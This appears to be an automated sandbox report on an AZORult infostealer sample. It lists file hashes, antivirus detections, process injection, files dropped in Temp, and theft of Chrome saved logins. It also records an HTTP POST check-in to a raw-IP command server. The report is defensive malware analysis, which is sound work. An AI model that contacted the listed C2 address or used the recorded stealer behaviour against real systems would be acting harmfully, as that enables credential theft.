AZORult_3f32d40b265f780d8e7899e06683fff0_exe_2019-07-31_04_30.txt

* MalFamily: "Azorult"

* MalScore: 10.0

* File Name: "AZORult_3f32d40b265f780d8e7899e06683fff0.exe"
* File Size: 1056256
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "c3315dacabd995da3e83ecae77354c7851fd04400b5badc13b4dcb0ebffd53a5"
* MD5: "3f32d40b265f780d8e7899e06683fff0"
* SHA1: "70cbb96b1fde517ce2778d3b1bcbaf63b3a4c161"
* SHA512: "ceb389f76366d668ccf82316bdaeac65f618eb31f3ed5be02cb616ebca80ddbdb8ddb4e4efc73831aea3b07a11f9b635c6e5b4069e11f0361b3f791809cc2b62"
* CRC32: "A304AB25"
* SSDEEP: "24576:IAHnh+eWsN3skA4RV1Hom2KXMmHafhhLBQa0NtUm5:Ph+ZkldoPK8YafDLmt1"

* Process Execution:
    "AZORult_3f32d40b265f780d8e7899e06683fff0.exe",
    "AZORult_3f32d40b265f780d8e7899e06683fff0.exe"


* Executed Commands:

* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "post_no_referer": "HTTP traffic contains a POST request with no referer header"


                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://185.136.171.122/russia/index.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://185.136.171.122/russia/index.php"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .rsrc, entropy: 7.06, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ, raw_size: 0x00037800, virtual_size: 0x0003776c"




        "Description": "Executed a process and injected code into it, probably while unpacking",
        "Details":

                "Injection": "AZORult_3f32d40b265f780d8e7899e06683fff0.exe(3036) -> AZORult_3f32d40b265f780d8e7899e06683fff0.exe(2988)"




        "Description": "Steals private information from local Internet browsers",
        "Details":

                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"




        "Description": "File has been identified by 17 Antiviruses on VirusTotal as malicious",
        "Details":

                "FireEye": "Generic.mg.3f32d40b265f780d"


                "Cylance": "Unsafe"


                "APEX": "Malicious"


                "Kaspersky": "HEUR:Trojan.Win32.Generic"


                "Invincea": "heuristic"


                "McAfee-GW-Edition": "BehavesLike.Win32.Downloader.th"


                "SentinelOne": "DFI - Suspicious PE"


                "Antiy-AVL": "GrayWare/Autoit.RunPE.a"


                "Microsoft": "Trojan:Win32/Wacatac.B!ml"


                "ZoneAlarm": "HEUR:Trojan.Win32.Generic"


                "AhnLab-V3": "Trojan/Win32.RL_AutoInj.R272810"


                "Acronis": "suspicious"


                "ESET-NOD32": "a variant of Win32/Injector.Autoit.EEF"


                "Rising": "Trojan.Win32.Agent.jxu (CLASSIC)"


                "Fortinet": "AutoIt/Injector.EEF!tr"


                "CrowdStrike": "win/malicious_confidence_80% (W)"


                "Qihoo-360": "HEUR/QVM10.1.E217.Malware.Gen"




        "Description": "Collects information to fingerprint the system",
        "Details":


        "Description": "Anomalous binary characteristics",
        "Details":

                "anomaly": "Actual checksum does not match that reported in PE header"




        "Description": "Created network traffic indicative of malicious activity",
        "Details":

                "signature": "ET TROJAN AZORult Variant.4 Checkin M2"





* Started Service:

* Mutexes:
    "A81FB8C6-0BBE6E18-6FC9B5DB-536DA455-933946726"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-console-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-datetime-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-debug-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-errorhandling-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-2-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l2-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-handle-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-heap-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-interlocked-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-libraryloader-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-localization-l1-2-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-memory-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-namedpipe-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processenvironment-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-1.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-profile-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-rtlsupport-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-string-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-2-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-sysinfo-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-timezone-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-util-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-conio-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-convert-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-environment-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-filesystem-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-heap-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-locale-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-math-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-multibyte-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-private-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-process-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-runtime-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-stdio-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-string-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-time-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-utility-l1-1-0.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\freebl3.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\mozglue.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\msvcp140.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nss3.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nssdbm3.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\softokn3.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\ucrtbase.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\vcruntime140.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\34499640819412883957599.tmp"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\34499640819412883957599.tmp"


* Modified Registry Keys:

* Deleted Registry Keys:

* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "J/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
        "uri": "http://185.136.171.122/russia/index.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
        "method": "POST",
        "host": "185.136.171.122",
        "version": "1.1",
        "path": "/russia/index.php",
        "data": "POST /russia/index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 185.136.171.122\r\nContent-Length: 105\r\nCache-Control: no-cache\r\n\r\nJ/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: